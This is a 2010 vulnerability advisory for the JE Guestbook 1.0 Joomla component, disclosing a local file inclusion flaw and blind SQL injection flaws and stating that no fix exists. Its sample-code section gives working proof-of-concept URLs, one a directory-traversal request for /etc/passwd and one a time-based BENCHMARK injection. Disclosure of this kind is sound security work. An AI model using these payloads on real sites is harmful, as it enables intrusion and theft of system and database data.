JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities Name JE Guestbook Vendor http://www.joomlaextensions.co.in Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-09-30 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ JE Guest Component is an open source Joomla guestbook component with spam protection and many customization options. II. DESCRIPTION _______________ Some parameters are not properly sanitised. III. ANALYSIS _____________ Summary: A) Local File Inclusion B) Multiple Blind SQL Injection A) Local File Inclusion _______________________ Input passed to the "view" parameter in jeguestbook.php (when option is set to com_jeguestbook) is not properly verified before being used to include files. This can be exploited to include arbitrary files from local resources via directory traversal attacks and URL-encoded NULL bytes. B) Multiple Blind SQL Injection _______________________________ Many parameters are not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. IV. SAMPLE CODE _______________ A) Local File Inclusion http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 B) Multiple Blind SQL Injection http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) V. FIX ______ No fix.